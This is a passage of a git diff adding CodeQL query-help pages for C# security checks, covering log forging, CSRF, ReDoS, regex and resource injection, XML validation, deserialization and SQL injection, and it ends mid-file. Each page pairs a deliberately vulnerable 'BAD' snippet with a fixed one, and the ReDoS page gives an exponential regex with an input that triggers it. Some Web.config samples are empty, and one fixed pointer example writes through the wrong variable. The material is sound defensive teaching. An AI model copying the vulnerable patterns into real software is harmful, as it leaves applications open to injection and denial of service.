safeUserName); + + SearchResult result = ds.FindOne(); + if (result != null) + { + using (DirectoryEntry user = result.getDirectoryEntry()) + { + ctx.Response.Write(user.Properties["type"].Value) + } + } + } + } +} + +``` + +## References +* OWASP: [LDAP Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html). +* OWASP: [Preventing LDAP Injection in Java](https://www.owasp.org/index.php/Preventing_LDAP_Injection_in_Java). +* AntiXSS doc: [LdapFilterEncode](http://www.nudoq.org/#!/Packages/AntiXSS/AntiXssLibrary/Encoder/M/LdapFilterEncode). +* AntiXSS doc: [LdapDistinguishedNameEncode](http://www.nudoq.org/#!/Packages/AntiXSS/AntiXssLibrary/Encoder/M/LdapDistinguishedNameEncode). +* Common Weakness Enumeration: [CWE-90](https://cwe.mitre.org/data/definitions/90.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/LocalUnvalidatedArithmetic.md b/docs/language/query-help/csharp/LocalUnvalidatedArithmetic.md new file mode 100644 index 00000000000..4499c791036 --- /dev/null +++ b/docs/language/query-help/csharp/LocalUnvalidatedArithmetic.md @@ -0,0 +1,66 @@ +# Unvalidated local pointer arithmetic + +``` +ID: cs/unvalidated-local-pointer-arithmetic +Kind: problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-119 external/cwe/cwe-120 external/cwe/cwe-122 external/cwe/cwe-788 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-119/LocalUnvalidatedArithmetic.ql) + +It is dangerous to use the result of a virtual method call in pointer arithmetic without validation if external users can provide their own implementation of the virtual method. For example, if the analyzed project is distributed as a library or framework, then the end-user could provide a new implementation that returns any value. + + +## Recommendation +Always validate the result of virtual methods calls before performing pointer arithmetic to avoid reading or writing outside the bounds of an allocated buffer. + + +## Example +In this example, we write to a given element of an array, using an instance of the `PossiblyOverridableClass` to determine which element to write to. + +In the first case, the `GetElementNumber` method is called, and the result is used in pointer arithmetic without any validation. If the user can define a subtype of `PossiblyOverridableClass`, they can create an implementation of `GetElementNumber` that returns an invalid element number. This would lead to a write occurring outside the bounds of the `charArray`. + +In the second case, the result of `GetElementNumber` is stored, and confirmed to be within the bounds of the array. Note that it is not sufficient to check that it is smaller than the length. We must also ensure that it's greater than zero, to prevent writes to locations before the buffer as well as afterwards. + + +```csharp +public class PossiblyOverridable +{ + public virtual int GetElementNumber() + { + // By default returns 0, which is safe + return 0; + } +} + +public class PointerArithmetic +{ + public unsafe void WriteToOffset(PossiblyOverridable possiblyOverridable, + char[] charArray) + { + fixed (char* charPointer = charArray) + { + // BAD: Unvalidated use of virtual method call result in pointer arithmetic + char* newCharPointer = charPointer + possiblyOverridable.GetElementNumber(); + *newCharPointer = 'A'; + // GOOD: Check that the number is viable + int number = possiblyOverridable.GetElementNumber(); + if (number >= 0 && number < charArray.Length) + { + char* newCharPointer2 = charPointer + number; + *newCharPointer = 'A'; + } + } + } +} + +``` + +## References +* Microsoft: [Unsafe Code and Pointers](https://msdn.microsoft.com/en-us/library/t2yzs44b.aspx). +* Common Weakness Enumeration: [CWE-119](https://cwe.mitre.org/data/definitions/119.html). +* Common Weakness Enumeration: [CWE-120](https://cwe.mitre.org/data/definitions/120.html). +* Common Weakness Enumeration: [CWE-122](https://cwe.mitre.org/data/definitions/122.html). +* Common Weakness Enumeration: [CWE-788](https://cwe.mitre.org/data/definitions/788.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/LogForging.md b/docs/language/query-help/csharp/LogForging.md new file mode 100644 index 00000000000..f33266e5df0 --- /dev/null +++ b/docs/language/query-help/csharp/LogForging.md @@ -0,0 +1,54 @@ +# Log entries created from user input + +``` +ID: cs/log-forging +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-117 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-117/LogForging.ql) + +If unsanitized user input is written to a log entry, a malicious user may be able to forge new log entries. + +Forgery can occur if a user provides some input with characters that are interpreted when the log output is displayed. If the log is displayed as a plain text file, then new line characters can be used by a malicious user. If the log is displayed as HTML, then arbitrary HTML may be include to spoof log entries. + + +## Recommendation +User input should be suitably encoded before it is logged. + +If the log entries are plain text then line breaks should be removed from user input, using `String.Replace` or similar. Care should also be taken that user input is clearly marked in log entries, and that a malicious user cannot cause confusion in other ways. + +For log entries that will be displayed in HTML, user input should be HTML encoded using `HttpServerUtility.HtmlEncode` or similar before being logged, to prevent forgery and other forms of HTML injection. + + +## Example +In the following example, a user name, provided by the user, is logged using a logging framework. In the first case, it is logged without any sanitization. In the second case, `String.Replace` is used to ensure no line endings are present in the user input. + + +```csharp +using Microsoft.Extensions.Logging; +using System; +using System.IO; +using System.Web; + +public class LogForgingHandler : IHttpHandler +{ + private ILogger logger; + + public void ProcessRequest(HttpContext ctx) + { + String username = ctx.Request.QueryString["username"]; + // BAD: User input logged as-is + logger.Warn(username + " log in requested."); + // GOOD: User input logged with new-lines removed + logger.Warn(username.Replace(Environment.NewLine, "") + " log in requested"); + } +} + +``` + +## References +* OWASP: [Log Injection](https://www.owasp.org/index.php/Log_Injection). +* Common Weakness Enumeration: [CWE-117](https://cwe.mitre.org/data/definitions/117.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/MissingASPNETGlobalErrorHandler.md b/docs/language/query-help/csharp/MissingASPNETGlobalErrorHandler.md new file mode 100644 index 00000000000..d2ab4432711 --- /dev/null +++ b/docs/language/query-help/csharp/MissingASPNETGlobalErrorHandler.md @@ -0,0 +1,71 @@ +# Missing global error handler + +``` +ID: cs/web/missing-global-error-handler +Kind: problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-12 external/cwe/cwe-248 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-248/MissingASPNETGlobalErrorHandler.ql) + +`Web.config` files that set the `customErrors` mode to `Off` and do not provide an `Application_Error` method in the `global.asax.cs` file rely on the default error pages, which leak information such as stack traces. + + +## Recommendation +Set the `customErrors` to `On` to prevent the default error page from being displayed, or to `RemoteOnly` to only show the default error page when the application is accessed locally. Alternatively, provide an implementation of the `Application_Error` method in the `global.asax.cs` page. + + +## Example +The following example shows a `Web.config` file in which the custom errors mode has been set to `Off`. + + +```none + + + + + ... + + + + +``` +This can be fixed either by specifying a different mode, such as `On`, in the `Web.config` file: + + +```none + + + + + ... + + + + +``` +or by defining an `Application_Error` method in the `global.asax.cs` file: + + +```csharp +using System; +using System.Web; + +namespace WebApp +{ + public class Global : HttpApplication + { + void Application_Error(object sender, EventArgs e) + { + // Handle errors here + } + } +} + +``` + +## References +* Common Weakness Enumeration: [CWE-12](https://cwe.mitre.org/data/definitions/12.html). +* Common Weakness Enumeration: [CWE-248](https://cwe.mitre.org/data/definitions/248.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/MissingAntiForgeryTokenValidation.md b/docs/language/query-help/csharp/MissingAntiForgeryTokenValidation.md new file mode 100644 index 00000000000..428cdde0280 --- /dev/null +++ b/docs/language/query-help/csharp/MissingAntiForgeryTokenValidation.md @@ -0,0 +1,54 @@ +# Missing cross-site request forgery token validation + +``` +ID: cs/web/missing-token-validation +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-352 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-352/MissingAntiForgeryTokenValidation.ql) + +Web applications that use tokens to prevent cross-site request forgery (CSRF) should validate the tokens for all Http POST requests. + +Although login and authentication methods are not vulnerable to traditional CSRF attacks, they still need to be protected with a token or other mitigation. This because an unprotected login page can be used by an attacker to force a login using an account controlled by the attacker. Subsequent requests to the site are then made using this account, without the user being aware that this is the case. This can result in the user associating private information with the attacker-controlled account. + + +## Recommendation +The appropriate attribute should be added to this method to ensure the anti-forgery token is validated when this action method is called. If using the MVC-provided anti-forgery framework this will be the `[ValidateAntiForgeryToken]` attribute. + +Alternatively, you may consider including a global filter that applies token validation to all POST requests. + + +## Example +In the following example an ASP.NET MVC `Controller` is using the `[ValidateAntiForgeryToken]` attribute to mitigate against CSRF attacks. It has been applied correctly to the `UpdateDetails` method. However, this attribute has not been applied to the `Login` method. This should be fixed by adding this attribute. + + +```csharp +using System.Web.Mvc; + +public class HomeController : Controller +{ + // BAD: Anti forgery token has been forgotten + [HttpPost] + public ActionResult Login() + { + return View(); + } + + // GOOD: Anti forgery token is validated + [HttpPost] + [ValidateAntiForgeryToken] + public ActionResult UpdateDetails() + { + return View(); + } +} + +``` + +## References +* Wikipedia: [Cross-Site Request Forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery). +* Microsoft Docs: [XSRF/CSRF Prevention in ASP.NET MVC and Web Pages](https://docs.microsoft.com/en-us/aspnet/mvc/overview/security/xsrfcsrf-prevention-in-aspnet-mvc-and-web-pages). +* Common Weakness Enumeration: [CWE-352](https://cwe.mitre.org/data/definitions/352.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/MissingXFrameOptions.md b/docs/language/query-help/csharp/MissingXFrameOptions.md new file mode 100644 index 00000000000..a72dbfac629 --- /dev/null +++ b/docs/language/query-help/csharp/MissingXFrameOptions.md @@ -0,0 +1,56 @@ +# Missing X-Frame-Options HTTP header + +``` +ID: cs/web/missing-x-frame-options +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-451 external/cwe/cwe-829 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-451/MissingXFrameOptions.ql) + +Web sites that do not specify the `X-Frame-Options` HTTP header may be vulnerable to UI redress attacks ("clickjacking"). In these attacks, the vulnerable site is loaded in a frame on an attacker-controlled site which uses opaque or transparent layers to trick the user into unintentionally clicking a button or link on the vulnerable site. + + +## Recommendation +Set the `X-Frame-Options` HTTP header to `DENY`, to instruct web browsers to block attempts to load the site in a frame. Alternatively, if framing is needed in certain circumstances, specify `SAMEORIGIN` or `ALLOW FROM: ...` to limit the ability to frame the site to pages from the same origin, or from an allowed whitelist of trusted domains. + +For ASP.NET web applications, the header may be specified either in the `Web.config` file, using the `` tag, or within the source code of the application using the `HttpResponse.AddHeader` method. In general, prefer specifying the header in the `Web.config` file to ensure it is added to all requests. If adding it to the source code, ensure that it is added unconditionally to all requests. For example, add the header in the `Application_BeginRequest` method in the `global.asax` file. + + +## Example +The following example shows how to specify the `X-Frame-Options` header within the `Web.config` file for ASP.NET: + + +```none + + + + + + + + + + + + + +``` +This next example shows how to specify the `X-Frame-Options` header within the `global.asax` file for ASP.NET application: + + +```csharp +protected void Application_BeginRequest(object sender, EventArgs e) +{ + HttpContext.Current.Response.AddHeader("X-Frame-Options", "DENY"); +} + +``` + +## References +* OWASP: [Clickjacking Defense Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html). +* Mozilla: [X-Frame-Options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options) +* Common Weakness Enumeration: [CWE-451](https://cwe.mitre.org/data/definitions/451.html). +* Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/MissingXMLValidation.md b/docs/language/query-help/csharp/MissingXMLValidation.md new file mode 100644 index 00000000000..93ba3bf69c5 --- /dev/null +++ b/docs/language/query-help/csharp/MissingXMLValidation.md @@ -0,0 +1,72 @@ +# Missing XML validation + +``` +ID: cs/xml/missing-validation +Kind: path-problem +Severity: recommendation +Precision: high +Tags: security external/cwe/cwe-112 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-112/MissingXMLValidation.ql) + +If unsanitized user input is processed as XML, it should be validated against a known schema. If no validation occurs, or if the validation relies on the schema or DTD specified in the document itself, then the XML document may contain any data in any form, which may invalidate assumptions the program later makes. + + +## Recommendation +All XML provided by a user should be validated against a known schema when it is processed. + +If using `XmlReader.Create`, you should always pass an instance of `XmlReaderSettings`, with the following properties: + +* `ValidationType` must be set to `Schema`. If this property is unset, no validation occurs. If it is set to `DTD`, the document is only validated against the DTD specified in the user-provided document itself - which could be specified as anything by a malicious user. +* `ValidationFlags` must not include `ProcessInlineSchema` or `ProcessSchemaLocation`. These flags allow a user to provide their own inline schema or schema location for validation, allowing a malicious user to bypass the known schema validation. + +## Example +In the following example, text provided by a user is loaded using `XmlReader.Create`. In the first three examples, insufficient validation occurs, because either no validation is specified, or validation is only specified against a DTD provided by the user, or the validation permits a user to provide an inline schema. In the final example, a known schema is provided, and validation is set, using an instance of `XmlReaderSettings`. This ensures that the user input is properly validated against the known schema. + + +```csharp +using System; +using System.IO; +using System.Web; +using System.Xml; +using System.Xml.Schema; + +public class MissingXmlValidationHandler : IHttpHandler +{ + + public void ProcessRequest(HttpContext ctx) + { + String userProvidedXml = ctx.Request.QueryString["userProvidedXml"]; + + // BAD: User provided XML is processed without any validation, + // because there is no settings instance configured. + XmlReader.Create(new StringReader(userProvidedXml)); + + // BAD: User provided XML is processed without any validation, + // because the settings instance specifies DTD as the ValidationType + XmlReaderSettings badSettings = new XmlReaderSettings(); + badSettings.ValidationType = ValidationType.DTD; + XmlReader.Create(new StringReader(userProvidedXml), badSettings); + + // BAD: User provided XML is processed with validation, but the ProcessInlineSchema + // option is specified, so an attacker can provide their own schema to validate + // against. + XmlReaderSettings badInlineSettings = new XmlReaderSettings(); + badInlineSettings.ValidationType = ValidationType.Schema; + badInlineSettings.ValidationFlags |= XmlSchemaValidationFlags.ProcessInlineSchema; + XmlReader.Create(new StringReader(userProvidedXml), badInlineSettings); + + // GOOD: User provided XML is processed with validation + XmlReaderSettings goodSettings = new XmlReaderSettings(); + goodSettings.ValidationType = ValidationType.Schema; + goodSettings.Schemas = new XmlSchemaSet() { { "urn:my-schema", "my.xsd" } }; + XmlReader.Create(new StringReader(userProvidedXml), goodSettings); + } +} + +``` + +## References +* Microsoft: [XML Schema (XSD) Validation with XmlSchemaSet](https://msdn.microsoft.com/en-us/library/3740e0b5(v=vs.110).aspx). +* Common Weakness Enumeration: [CWE-112](https://cwe.mitre.org/data/definitions/112.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/PasswordInConfigurationFile.md b/docs/language/query-help/csharp/PasswordInConfigurationFile.md new file mode 100644 index 00000000000..b3fac74af7a --- /dev/null +++ b/docs/language/query-help/csharp/PasswordInConfigurationFile.md @@ -0,0 +1,23 @@ +# Password in configuration file + +``` +ID: cs/password-in-configuration +Kind: problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-13 external/cwe/cwe-256 external/cwe/cwe-313 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Configuration/PasswordInConfigurationFile.ql) + +Storing a plaintext password in a configuration file allows anyone who can read the file to access the password-protected resources. Therefore it is a common attack vector. + + +## Recommendation +Passwords stored in configuration files should be encrypted. + + +## References +* Common Weakness Enumeration: [CWE-13](https://cwe.mitre.org/data/definitions/13.html). +* Common Weakness Enumeration: [CWE-256](https://cwe.mitre.org/data/definitions/256.html). +* Common Weakness Enumeration: [CWE-313](https://cwe.mitre.org/data/definitions/313.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/PersistentCookie.md b/docs/language/query-help/csharp/PersistentCookie.md new file mode 100644 index 00000000000..abdc3fdb7e5 --- /dev/null +++ b/docs/language/query-help/csharp/PersistentCookie.md @@ -0,0 +1,21 @@ +# Cookie security: persistent cookie + +``` +ID: cs/web/persistent-cookie +Kind: problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-539 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/PersistentCookie.ql) + +This rule finds cookies that are made to expire in more than 5 minutes from now. Cookies are usually non-persistent, in which case they reside in the browser's memory only. However, by setting an expiration date in the future, cookies can be made persistent and are then written to disk to survive the browser restarts. If a persistent cookie is set to expire in a fairly distant future, it is easier for an attacker to steal its data. + + +## Recommendation +Do not put sensitive information in persistent cookies. + + +## References +* Common Weakness Enumeration: [CWE-539](https://cwe.mitre.org/data/definitions/539.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ReDoS.md b/docs/language/query-help/csharp/ReDoS.md new file mode 100644 index 00000000000..2687d28e5a5 --- /dev/null +++ b/docs/language/query-help/csharp/ReDoS.md @@ -0,0 +1,57 @@ +# Denial of Service from comparison of user input against expensive regex + +``` +ID: cs/redos +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-730 external/cwe/cwe-400 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-730/ReDoS.ql) + +Matching user input against a regular expression which takes exponential time in the worst case can allow a malicious user to perform a Denial of Service ("DoS") attack by crafting input that takes a long time to execute. + +Most regular expression engines, including the C# standard library implementation, are designed to work with an extended regular expression syntax. Although this provides flexibility for the user, it can prevent the engine from constructing an efficient implementation of the matcher in all circumstances. In particular, the "worst case time complexity" (see the references) of certain regular expressions may be "exponential". This would allow a malicious user to provide some input which causes the regular expression to take a very long time to execute. + +Typically, a regular expression is vulnerable to this attack if it applies repetition to a sub-expression which itself is repeated, or contains overlapping options. For example, `(a+)+` is vulnerable to a string such as `aaaaaaaaaaaaaaaaaaaaaaaaaaab`. More information about the precise circumstances can be found in the references. + + +## Recommendation +Modify the regular expression to avoid the exponential worst case time. If this is not possible, then a timeout should be used to avoid a denial of service. For C# applications, a timeout can be provided to the `Regex` constructor. Alternatively, apply a global timeout by setting the `REGEX_DEFAULT_MATCH_TIMEOUT` application domain property, using the `AppDomain.SetData` method. + + +## Example +The following example shows a HTTP request parameter that is matched against a regular expression which has exponential worst case performance. In the first case, it is matched without a timeout, which can lead to a denial of service. In the second case, a timeout is used to cancel the evaluation of the regular expression after 1 second. + + +```csharp +using System; +using System.Web; +using System.Text.RegularExpressions; + +public class ReDoSHandler : IHttpHandler +{ + + public void ProcessRequest(HttpContext ctx) + { + string userInput = ctx.Request.QueryString["userInput"]; + + // BAD: User input is matched against a regex with exponential worst case behavior + new Regex("^([a-z]*)*$").Match(userInput); + + // GOOD: Regex is given a timeout to avoid DoS + new Regex("^([a-z]*)*$", + RegexOptions.IgnoreCase, + TimeSpan.FromSeconds(1)).Match(userInput); + } +} + +``` + +## References +* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS). +* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS). +* Wikipedia: [Time complexity](https://en.wikipedia.org/wiki/Time_complexity). +* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html). +* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/RegexInjection.md b/docs/language/query-help/csharp/RegexInjection.md new file mode 100644 index 00000000000..2d9f59c40fa --- /dev/null +++ b/docs/language/query-help/csharp/RegexInjection.md @@ -0,0 +1,56 @@ +# Regular expression injection + +``` +ID: cs/regex-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-730 external/cwe/cwe-400 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-730/RegexInjection.ql) + +Constructing a regular expression with unsanitized user input is dangerous as a malicious user may be able to modify the meaning of the expression. In particular, such a user may be able to provide a regular expression fragment that takes exponential time in the worst case, and use that to perform a Denial of Service attack. + + +## Recommendation +For user input that is intended to be referenced as a string literal in a regular expression, use the `Regex.Escape` method to escape any special characters. If the regular expression is intended to be configurable by the user, then a timeout should be used to avoid Denial of Service attacks. For C# applications, a timeout can be provided to the `Regex` constructor. Alternatively, apply a global timeout by setting the `REGEX_DEFAULT_MATCH_TIMEOUT` application domain property, using the `AppDomain.SetData` method. + + +## Example +The following example shows a HTTP request parameter that is used as a regular expression, and matched against another request parameter. + +In the first case, the regular expression is used without a timeout, and the user-provided regex is not escaped. If a malicious user provides a regex that has exponential worst case performance, then this could lead to a Denial of Service. + +In the second case, the user input is escaped using `Regex.Escape` before being included in the regular expression. This ensures that the user cannot insert characters which have a special meaning in regular expressions. + + +```csharp +using System; +using System.Web; +using System.Text.RegularExpressions; + +public class RegexInjectionHandler : IHttpHandler +{ + + public void ProcessRequest(HttpContext ctx) + { + string name = ctx.Request.QueryString["name"]; + string userInput = ctx.Request.QueryString["userInput"]; + + // BAD: Unsanitized user input is used to construct a regular expression + new Regex("^" + name + "=.*$").Match(userInput); + + // GOOD: User input is sanitized before constructing the regex + string safeName = Regex.Escape(name); + new Regex("^" + safeName + "=.*$").Match(userInput); + } +} + +``` + +## References +* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS). +* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS). +* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html). +* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/RequireSSL.md b/docs/language/query-help/csharp/RequireSSL.md new file mode 100644 index 00000000000..465ba0050c2 --- /dev/null +++ b/docs/language/query-help/csharp/RequireSSL.md @@ -0,0 +1,46 @@ +# 'requireSSL' attribute is not set to true + +``` +ID: cs/web/requiressl-not-set +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-319 external/cwe/cwe-614 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-614/RequireSSL.ql) + +Sensitive data that is transmitted using HTTP is vulnerable to being read by a third party. By default, web forms and cookies are sent via HTTP, not HTTPS. This setting can be changed by setting the `requireSSL` attribute to `"true"` in `Web.config`. + + +## Recommendation +When using web forms, ensure that `Web.config` contains a `` element with the attribute `requireSSL="true"`. + +When using cookies, ensure that SSL is used, either via the `` attribute above, or the `` element, with the attribute `requireSSL="true"`. It is also possible to require cookies to use SSL programmatically, by setting the property `System.Web.HttpCookie.Secure` to `true`. + + +## Example +The following example shows where to specify `requireSSL="true"` in a `Web.config` file. + + +```none + + + + + + + + + + +``` + +## References +* MSDN: [HttpCookie.Secure Property](https://msdn.microsoft.com/en-us/library/system.web.httpcookie.secure(v=vs.110).aspx), [FormsAuthentication.RequireSSL Property](https://msdn.microsoft.com/en-us/library/system.web.security.formsauthentication.requiressl(v=vs.110).aspx), [forms Element for authentication](https://msdn.microsoft.com/en-us/library/1d3t3c61(v=vs.100).aspx), [httpCookies Element](https://msdn.microsoft.com/library/ms228262%28v=vs.100%29.aspx). +* Common Weakness Enumeration: [CWE-319](https://cwe.mitre.org/data/definitions/319.html). +* Common Weakness Enumeration: [CWE-614](https://cwe.mitre.org/data/definitions/614.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ResourceInjection.md b/docs/language/query-help/csharp/ResourceInjection.md new file mode 100644 index 00000000000..590eadb0a71 --- /dev/null +++ b/docs/language/query-help/csharp/ResourceInjection.md @@ -0,0 +1,59 @@ +# Resource injection + +``` +ID: cs/resource-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-099 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-099/ResourceInjection.ql) + +If a resource descriptor is built using string concatenation, and the components of the concatenation include user input, a user may be able to hijack the resource which is loaded. + + +## Recommendation +If user input must be included in a resource descriptor, it should be escaped to avoid a malicious user providing special characters that change the meaning of the descriptor. If possible, use an existing library to either escape or construct the resource. + +For data connections within sub namespaces of `System.Data`, a connection builder class is provided. For example, a connection string which is to be passed to `System.Data.SqlClient.SqlConnection` can be constructed safely using an instance of `System.Data.SqlClient.SqlConnectionStringBuilder`. + + +## Example +In the following examples, the code accepts a user name from the user, which it uses to create a connection string for an SQL database. + +The first example concatenates the unvalidated and unencoded user input directly into the connection string. A malicious user could provide special characters to change the meaning of the connection string, and connect to a completely different server. + +The second example uses the `SqlConnectionStringBuilder` to construct the connection string and therefore prevents a malicious user modifying the meaning of the connection string. + + +```csharp +using System.Data.SqlClient; +using System.Web; + +public class ResourceInjectionHandler : IHttpHandler +{ + public void ProcessRequest(HttpContext ctx) + { + string userName = ctx.Request.QueryString["userName"]; + + // BAD: Direct use of user input in a connection string passed to SqlConnection + string connectionString = "server=(local);user id=" + userName + ";password= pass;"; + SqlConnection sqlConnectionBad = new SqlConnection(connectionString); + + // GOOD: Use SqlConnectionStringBuilder to safely include user input in a connection string + SqlConnectionStringBuilder builder = new SqlConnectionStringBuilder(); + builder["Data Source"] = "(local)"; + builder["integrated Security"] = true; + builder["user id"] = userName; + SqlConnection sqlConnectionGood = new SqlConnection(builder.ConnectionString); + } +} + +``` + +## References +* OWASP: [Resource Injection](https://www.owasp.org/index.php/Resource_Injection). +* MSDN: [Building Connection Strings](https://msdn.microsoft.com/en-us/library/ms254947(v=vs.80).aspx). +* MSDN: [Securing Connection Strings](https://msdn.microsoft.com/en-us/library/89211k9b(VS.80).aspx). +* Common Weakness Enumeration: [CWE-99](https://cwe.mitre.org/data/definitions/99.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/RuntimeChecksBypass.md b/docs/language/query-help/csharp/RuntimeChecksBypass.md new file mode 100644 index 00000000000..9a6dac1ba9f --- /dev/null +++ b/docs/language/query-help/csharp/RuntimeChecksBypass.md @@ -0,0 +1,83 @@ +# Serialization check bypass + +``` +ID: cs/serialization-check-bypass +Kind: problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-20 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-020/RuntimeChecksBypass.ql) + +Fields that are deserialized should be validated, otherwise the deserialized object could contain invalid data. + +This query finds cases where a field is validated in a constructor, but not in a deserialization method. This is an indication that the deserialization method is missing a validation step. + + +## Recommendation +If a field needs to be validated, then ensure that validation is also performed during deserialization. + + +## Example +The following example has the validation of the `Age` field in the constructor but not in the deserialization method: + + +```csharp +using System; +using System.Runtime.Serialization; + +[Serializable] +public class PersonBad : ISerializable +{ + public int Age; + + public PersonBad(int age) + { + if (age < 0) + throw new ArgumentException(nameof(age)); + Age = age; + } + + [OnDeserializing] + void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context) + { + Age = info.GetInt32("age"); // BAD - write is unsafe + } +} + +``` +The problem is fixed by adding validation to the deserialization method as follows: + + +```csharp +using System; +using System.Runtime.Serialization; + +[Serializable] +public class PersonGood : ISerializable +{ + public int Age; + + public PersonGood(int age) + { + if (age < 0) + throw new ArgumentException(nameof(age)); + Age = age; + } + + [OnDeserializing] + void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context) + { + int age = info.GetInt32("age"); + if (age < 0) + throw new SerializationException(nameof(Age)); + Age = age; // GOOD - write is safe + } +} + +``` + +## References +* OWASP: [Data Validation](https://www.owasp.org/index.php/Data_Validation). +* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/SecondOrderSqlInjection.md b/docs/language/query-help/csharp/SecondOrderSqlInjection.md new file mode 100644 index 00000000000..c14350dc8ad --- /dev/null +++ b/docs/language/query-help/csharp/SecondOrderSqlInjection.md @@ -0,0 +1,86 @@ +# SQL query built from stored user-controlled sources + +``` +ID: cs/second-order-sql-injection +Kind: path-problem +Severity: error +Precision: medium +Tags: security external/cwe/cwe-089 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-089/SecondOrderSqlInjection.ql) + +If a SQL query is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to run malicious database queries. + + +## Recommendation +Usually, it is better to use a prepared statement than to build a complete query with string concatenation. A prepared statement can include a parameter, written as either a question mark (`?`) or with an explicit name (`@parameter`), for each part of the SQL query that is expected to be filled in by a different value each time it is run. When the query is later executed, a value must be supplied for each parameter in the query. + +It is good practice to use prepared statements for supplying parameters to a query, whether or not any of the parameters are directly traceable to user input. Doing so avoids any need to worry about quoting and escaping. + + +## Example +In the following example, the code runs a simple SQL query in three different ways. + +The first way involves building a query, `query1`, by concatenating a user-supplied text box value with some string literals. The text box value can include special characters, so this code allows for SQL injection attacks. + +The second way uses a stored procedure, `ItemsStoredProcedure`, with a single parameter (`@category`). The parameter is then given a value by calling `Parameters.Add`. This version is immune to injection attacks, because any special characters are not given any special treatment. + +The third way builds a query, `query2`, with a single string literal that includes a parameter (`@category`). The parameter is then given a value by calling `Parameters.Add`. This version is immune to injection attacks, because any special characters are not given any special treatment. + + +```csharp +using System.Data; +using System.Data.SqlClient; +using System.Web.UI.WebControls; + +class SqlInjection +{ + TextBox categoryTextBox; + string connectionString; + + public DataSet GetDataSetByCategory() + { + // BAD: the category might have SQL special characters in it + using (var connection = new SqlConnection(connectionString)) + { + var query1 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + + categoryTextBox.Text + "' ORDER BY PRICE"; + var adapter = new SqlDataAdapter(query1, connection); + var result = new DataSet(); + adapter.Fill(result); + return result; + } + + // GOOD: use parameters with stored procedures + using (var connection = new SqlConnection(connectionString)) + { + var adapter = new SqlDataAdapter("ItemsStoredProcedure", connection); + adapter.SelectCommand.CommandType = CommandType.StoredProcedure; + var parameter = new SqlParameter("category", categoryTextBox.Text); + adapter.SelectCommand.Parameters.Add(parameter); + var result = new DataSet(); + adapter.Fill(result); + return result; + } + + // 